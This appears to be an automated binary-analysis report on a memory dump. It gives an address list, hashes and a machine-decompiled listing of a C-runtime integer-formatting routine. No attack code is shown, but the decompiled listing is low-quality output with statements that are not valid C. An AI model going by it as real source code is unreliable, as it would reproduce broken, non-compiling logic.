0x0042947f
0x00429496
0x00429496
0x00429499
0x0042949b
0x004294a0
0x004294a4
0x004294a4
0x00429481
0x00429481
0x00429486
0x0042948a
0x0042948a
0x00429467
0x00429467
0x0042946c
0x00429470
0x00429470
0x00429465
0x004294ae
0x004294b1
0x004294b4
0x004294bd
0x004294bd
0x004294c0
0x004294c2
0x004294c9
0x004294cd
0x004294d6
0x004294db
0x004294de
0x004294e5
0x004294e9
0x004294ed
0x004294f9
0x004294fc
0x004294fc
0x004294ff
0x00429504
0x00429504
0x00429507
0x00429509
0x00429510
0x00429514
0x0042951d
0x00429522
0x00429507
0x00429525
0x00429529
0x004295e3
0x004295e3
0x004295ea
0x004295ee
0x004295f2
0x004295f6
0x00000000
0x0042952f
0x0042952f
0x0042952f
0x00429533
0x00000000
0x00000000
0x00429539
0x00429539
0x0042953c
0x00429542
0x00429545
0x0042954b
0x0042954b
0x0042954b
0x00429557
0x0042955a
0x00429560
0x00429562
0x00000000
0x00000000
0x00429564
0x00429564
0x00429567
0x0042956d
0x00429575
0x00429577
0x0042957e
0x00429585
0x00429594
0x0042959a
0x004295a1
0x004295af
0x004295af
0x004295b6
0x004295c2
0x004295d0
0x004295d6
0x00000000
0x004295d6
0x004295a3
0x004295a3
0x00000000
0x004295a3
0x004295e1
0x004295fe
0x004295fe
0x00429605
0x0042960a
0x0042960a
0x0042960d
0x0042960f
0x00429616
0x00429623
0x00429628
0x0042960d
0x00429605
0x0042962b
0x0042962b
0x0042962f
0x00429633
0x00429637
0x0042963f
0x0042963f
0x00429646
0x00429646
0x0042887b
0x0042888f
0x00428894
0x00000000
0x004288a7
0x004288b1
0x004288d8
0x004288bf
0x004288d0
0x004288d0
0x004288b1
0x004288e2
0x004288e8
0x004288fa
0x00428905
0x00428911
0x0042891e
0x00000000
0x00000000
0x00428924
0x0042892a
0x00000000
0x00428931
0x00428931
0x0042894b
0x00428950
0x00000000
0x00000000
0x00428958
0x00428958
0x0042895f
0x00428962
0x00428965
0x00428968
0x0042896b
0x0042896e
0x00428971
0x00428978
0x0042897f
0x00000000
0x00000000
0x0042898b
0x0042898b
0x00428992
0x0042899e
0x004289a1
0x004289a7
0x004289ae
0x00000000
0x00000000
0x004289b0
0x004289b6
0x004289b6
0x004289bd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00428a01
0x00428a01
0x00428a08
0x00428a0b
0x00428a35
0x00428a38
0x00428a38
0x00428a42
0x00428a42
0x00428a46
0x00428a0d
0x00428a0d
0x00428a19
0x00428a1c
0x00428a20
0x00428a22
0x00428a25
0x00428a25
0x00428a28
0x00428a2b
0x00428a2e
0x00428a30
0x00428a30
0x00428a33
0x00428a49
0x00000000
0x00000000
0x00428a4e
0x00428a4e
0x00000000
0x00000000
0x00428a5a
0x00428a5a
0x00428a61
0x00428a64
0x00428a84
0x00428a87
0x00428a87
0x00428a91
0x00428a91
0x00428a95
0x00428a66
0x00428a66
0x00428a72
0x00428a75
0x00428a79
0x00428a7b
0x00428a7b
0x00428a82
0x00428a98
0x00000000
0x00000000
0x00428a9d
0x00428a9d
0x00428aa4
0x00428ab0
0x00428ab3
0x00428ab9
0x00428ac0
0x00428bd3
0x00000000
0x00428bd3
0x00428ac6
0x00428acc
0x00428acc
0x00428ad3
0x00000000
0x00428b0a
0x00428b0a
0x00428b0d
0x00428b10
0x00428b13
0x00428b3a
0x00428b3a
0x00428b3d
0x00428b40
0x00428b43
0x00428b67
0x00428b67
0x00428b6a
0x00428b6d
0x00428b70
0x00428ba9
0x00428bba
0x00000000
0x00428bba
0x00428b72
0x00428b72
0x00428b75
0x00428b78
0x00428b7b
0x00000000
0x00000000
0x00428b7d
0x00428b7d
0x00428b80
0x00428b83
0x00428b86
0x00000000
0x00000000
0x00428b88
0x00428b88
0x00428b8b
0x00428b8e
0x00428b91
0x00000000
0x00000000
0x00428b93
0x00428b93
0x00428b96
0x00428b99
0x00428b9c
0x00000000
0x00000000
0x00428b9e
0x00428b9e
0x00428ba1
0x00428ba4
0x00428ba7
0x00428bab
0x00000000
0x00428bab
0x00000000
0x00428ba7
0x00428b45
0x00428b45
0x00428b48
0x00428b4c
0x00428b4f
0x00000000
0x00428b51
0x00428b54
0x00428b57
0x00428b5d
0x00428b62
0x00000000
0x00428b62
0x00428b4f
0x00428b15
0x00428b15
0x00428b18
0x00428b1c
0x00428b1f
0x00000000
0x00428b21
0x00428b24
0x00428b27
0x00428b2d
0x00428b32
0x00000000
0x00428b32
0x00000000
0x00428bbc
0x00428bbc
0x00428bbf
0x00428bc2
0x00000000
0x00000000
0x00428ada
0x00428ada
0x00428add
0x00428ae0
0x00428ae3
0x00428afc
0x00428aff
0x00428aff
0x00428b02
0x00428ae5
0x00428ae5
0x00428ae8
0x00428aeb
0x00428af1
0x00428af7
0x00428af7
0x00000000
0x00000000
0x00428bc7
0x00428bc7
0x00428bca
0x00428bca
0x00428bd0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00428bd8
0x00428bd8
0x00428bdf
0x00428be5
0x00428beb
0x00428bee
0x00428bf4
0x00428bfb
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00428c01
0x00428c07
0x00428c07
0x00428c0e
0x00000000
0x00428f92
0x00428f92
0x00428fa0
0x00428fa0
0x00428fa3
0x00000000
0x00000000
0x00428c15
0x00428c18
0x00428c18
0x00428c1e
0x00428c20
0x00428c23
0x00428c23
0x00428c26
0x00428c26
0x00000000
0x00000000
0x00428d5b
0x00428d5e
0x00428d5e
0x00428d63
0x00428d65
0x00428d68
0x00428d68
0x00428d6b
0x00428d6b
0x00000000
0x00000000
0x00429158
0x00429158
0x0042916e
0x0042916e
0x00429178
0x00429178
0x0042917e
0x00429180
0x00429185
0x0042918f
0x0042918f
0x00429192
0x00429196
0x00429196
0x00000000
0x00000000
0x00428cc5
0x00428cc5
0x00428cd1
0x00428cd7
0x00428cde
0x00428cec
0x00428cec
0x00428cf2
0x00428cf5
0x00428d01
0x00428d56
0x00000000
0x00428d56
0x00428ce0
0x00428ce0
0x00428ce6
0x00428cea
0x00428d06
0x00428d09
0x00428d09
0x00428d0f
0x00428d37
0x00428d3e
0x00428d44
0x00428d47
0x00428d4a
0x00428d50
0x00428d53
0x00428d11
0x00428d11
0x00428d17
0x00428d1a
0x00428d1d
0x00428d23
0x00428d26
0x00428d29
0x00428d2b
0x00428d2e
0x00428d2e
0x00000000
0x00428d0f
0x00000000
0x00000000
0x00428faa
0x00428fad
0x00428fb0
0x00428fb3
0x00428fb9
0x00428fbc
0x00428fc3
0x00428fc7
0x00428fd2
0x00428fd2
0x00428fd6
0x00428fed
0x00428fed
0x00428ff4
0x00428ff6
0x00428ff6
0x00428ffd
0x00428ffd
0x00429004
0x00429012
0x00429015
0x00429024
0x00429027
0x0042902b
0x00429040
0x0042902d
0x0042902d
0x00429030
0x00429036
0x0042903b
0x0042903b
0x0042902b
0x0042904a
0x0042904d
0x00429050
0x00429053
0x00429056
0x00429059
0x0042905f
0x00429065
0x0042906d
0x0042906e
0x00429071
0x00429072
0x00429075
0x00429076
0x0042907d
0x0042907e
0x00429081
0x00429082
0x00429085
0x00429086
0x0042908c
0x0042908d
0x00429093
0x00429094
0x0042909a
0x0042909c
0x004290a2
0x004290a2
0x004290a7
0x004290a9
0x004290ad
0x004290af
0x004290b2
0x004290b7
0x004290b8
0x004290bb
0x004290bc
0x004290c2
0x004290c3
0x004290c9
0x004290cb
0x004290cb
0x004290ad
0x004290ce
0x004290d5
0x004290d8
0x004290dd
0x004290dd
0x004290e3
0x004290e5
0x004290ed
0x004290ee
0x004290f1
0x004290f2
0x004290f7
0x004290f8
0x004290fe
0x00429100
0x00429100
0x004290e3
0x00429103
0x00429106
0x00429109
0x0042910c
0x00429111
0x00429116
0x00429119
0x0042911c
0x0042911c
0x0042911f
0x0042911f
0x00429122
0x0042912e
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x0042944b
0x00428fd8
0x00428fd8
0x00428fdf
0x00428fe2
0x00000000
0x00000000
0x00428fe4
0x00428fe4
0x00000000
0x00428fe4
0x00428fc9
0x00428fc9
0x00000000
0x00000000
0x00428c29
0x00428c29
0x00428c34
0x00428c3c
0x00428c43
0x00428c46
0x00428c46
0x00428c49
0x00428ca2
0x00428ca9
0x00428c4b
0x00428c52
0x00428c58
0x00428c5e
0x00428c65
0x00428c68
0x00428c6e
0x00428c76
0x00428c78
0x00428c7f
0x00428c86
0x00428c8d
0x00428c95
0x00428c97
0x00428c99
0x00428c99
0x00428ca0
0x00428cb0
0x00428cb6
0x00428cb9
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x00429136
0x00429139
0x0042913c
0x0042913f
0x004291bd
0x004291c0
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x00429279
0x0042927d
0x00429285
0x00429285
0x00429287
0x0042928d
0x0042925e
0x0042925e
0x00429262
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x00429238
0x00429244
0x00429247
0x00429248
0x0042924e
0x0042921c
0x0042921c
0x00429220
0x00429228
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291ef
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291c7
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429296
0x00429299
0x00000000
0x00000000
0x00000000
0x00428e9b
0x00428e9b
0x00428ea7
0x00428ead
0x00428eb2
0x00428eb4
0x00428f5e
0x00428f5e
0x00428f61
0x00428f61
0x00428f64
0x00428f78
0x00428f7e
0x00428f84
0x00428f66
0x00428f66
0x00428f6c
0x00428f73
0x00428f73
0x00428f86
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00428eba
0x00428eba
0x00428eba
0x00428ebc
0x00428eca
0x00428ebe
0x00428ebe
0x00428ebe
0x00428ed4
0x00428eda
0x00428ee0
0x00428ee7
0x00428ee9
0x00428eee
0x00428ef0
0x00428ef5
0x00428efa
0x00428efc
0x00428f01
0x00428f04
0x00428f07
0x00428f09
0x00428f09
0x00428f07
0x00428f0a
0x00428f11
0x00428f59
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00428f13
0x00428f13
0x00428f18
0x00428f34
0x00428f3c
0x00428f46
0x00428f49
0x00428f4e
0x00429665
0x00429668
0x00429672
0x00429672
0x00000000
0x0042919f
0x0042919f
0x004291a9
0x004291a9
0x004291af
0x004291b1
0x004291b4
0x004291b4
0x004291ba
0x004291ba
0x004291bd
0x004291bd
0x004291c0
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x00429279
0x0042927d
0x00429285
0x00429285
0x00429287
0x0042928d
0x0042925e
0x0042925e
0x00429262
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x00429238
0x00429244
0x00429247
0x00429248
0x0042924e
0x0042921c
0x0042921c
0x00429220
0x00429228
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291ef
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291c7
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429296
0x00429299
0x00000000
0x00000000
0x00000000
0x00429299
0x00000000
0x00429151
0x00429151
0x00000000
0x00000000
0x00428d6e
0x00428d6e
0x00428d72
0x00428d80
0x00428d83
0x00428d74
0x00428d74
0x00428d74
0x00428d89
0x00428d8f
0x00428d95
0x00428da1
0x00428da7
0x00428da7
0x00428daa
0x00428e32
0x00428e32
0x00428e36
0x00428e38
0x00428e3e
0x00428e3e
0x00428e41
0x00428e48
0x00428e4b
0x00428e51
0x00428e51
0x00428e51
0x00428e57
0x00428e5d
0x00428e60
0x00428e66
0x00428e68
0x00000000
0x00000000
0x00428e6a
0x00428e6a
0x00428e70
0x00428e73
0x00428e75
0x00000000
0x00000000
0x00428e77
0x00428e7d
0x00428e80
0x00428e80
0x00428e88
0x00428e88
0x00428e8e
0x00428e8e
0x00428e93
0x00000000
0x00428db0
0x00428db0
0x00428db0
0x00428db4
0x00428db6
0x00428dbb
0x00428dbb
0x00428dbe
0x00428dc1
0x00428dc7
0x00428dd9
0x00428dd9
0x00428dd9
0x00428ddc
0x00428de2
0x00000000
0x00000000
0x00428de4
0x00428de4
0x00428dea
0x00428ded
0x00428def
0x00000000
0x00000000
0x00428df1
0x00428df1
0x00428dfa
0x00428e00
0x00428e04
0x00428e0c
0x00428e0e
0x00428e10
0x00428e16
0x00428e16
0x00428e19
0x00428e19
0x00428e25
0x00428e28
0x00428dd0
0x00428dd3
0x00428dd3
0x00428dd6
0x00428dd6
0x00428e30
0x00428e96
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00000000
0x00429148
0x00429148
0x004291bd
0x004291bd
0x004291c0
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x00429279
0x0042927d
0x00429285
0x00429285
0x00429287
0x0042928d
0x0042925e
0x0042925e
0x00429262
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x00429238
0x00429244
0x00429247
0x00429248
0x0042924e
0x0042921c
0x0042921c
0x00429220
0x00429228
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291ef
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291c7
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429296
0x00429299
0x00000000
0x00000000
0x00000000
0x00429299
0x00000000
0x00000000
0x00000000
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x00000000
0x004289da
0x004289da
0x004289dd
0x004289e0
0x00000000
0x00000000
0x004289e5
0x004289e8
0x004289ee
0x00000000
0x00000000
0x004289cf
0x004289d2
0x004289d5
0x00000000
0x00000000
0x004289c4
0x004289c7
0x004289ca
0x00000000
0x00000000
0x004289f3
0x004289f3
0x004289f6
0x004289f6
0x004289f9
0x00000000
0x00000000
0x004289fc
0x00000000
0x00000000
0x0042892a
0x0042964b
0x00429651
0x0042965a
0x0042965f
0x00000000
0x0042965f
0x0042944b
0x00429422
0x00429422
0x00429426
0x00429433
0x00429436
0x00429439
0x0042943c
0x0042943f
0x00429442
0x00429445
0x00429445
0x00429448
0x00000000
0x00429448
0x00429428
0x00429428
0x0042942b
0x0042942e
0x00429431
0x00000000
0x00000000
0x00000000
0x00429431
0x00429387
0x00429387
0x0042938a
0x0042938d
0x00429394
0x0042939b
0x004293a3
0x004293a9
0x004293ac
0x004293af
0x004293b6
0x004293c2
0x004293c8
0x004293ce
0x004293d5
0x004293d7
0x004293dd
0x004293dd
0x004293e3
0x004293e3
0x004293e9
0x004293f2
0x004293f7
0x004293fa
0x00429369
0x00429369
0x0042936f
0x00429372
0x00429375
0x00429377
0x00000000
0x00000000
0x00000000
0x00429377
0x00429369
0x004292a6
0x004292a6
0x004292ad
0x00000000
0x00000000
0x00000000
0x004292db
0x004292db
0x004292e1
0x004292e7
0x004292ed
0x00000000
0x004292ed
0x004291bd
0x0042916e

APIs

_get_int64_arg.LIBCMTD ref: 004291CB
__aullrem.LIBCMT ref: 0042939B
__aulldiv.LIBCMT ref: 004293BD

Strings

', xrefs: 00429164
9, xrefs: 004293CE

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: e646f5b7661a5f37611aa842ff54488d5ccb8e2cb7ba9d720ffb772ebd031125
Instruction ID: b8fedc3fb2c2f87a65671b8af7aff484b226683f44d103118d33fbf64379f04b
Opcode Fuzzy Hash: e646f5b7661a5f37611aa842ff54488d5ccb8e2cb7ba9d720ffb772ebd031125
Instruction Fuzzy Hash: E64125B1E0012ADFEB24CF48D881BAEB7B5FF85314F40409AD548A7240C7785E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A393, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0042A393() {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00429820(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00429820(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00429820(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(__eflags == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E004297E0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0042AA50( *(__ebp - 0x1c), __eflags, __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E004297E0(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if(__eflags != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0042AA50(__ecx, __eflags,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if(__eflags <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E00423790(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E00423790(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E00439180(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E00429780( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E004297E0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L00422680( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) + L"cur_max == 2") & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
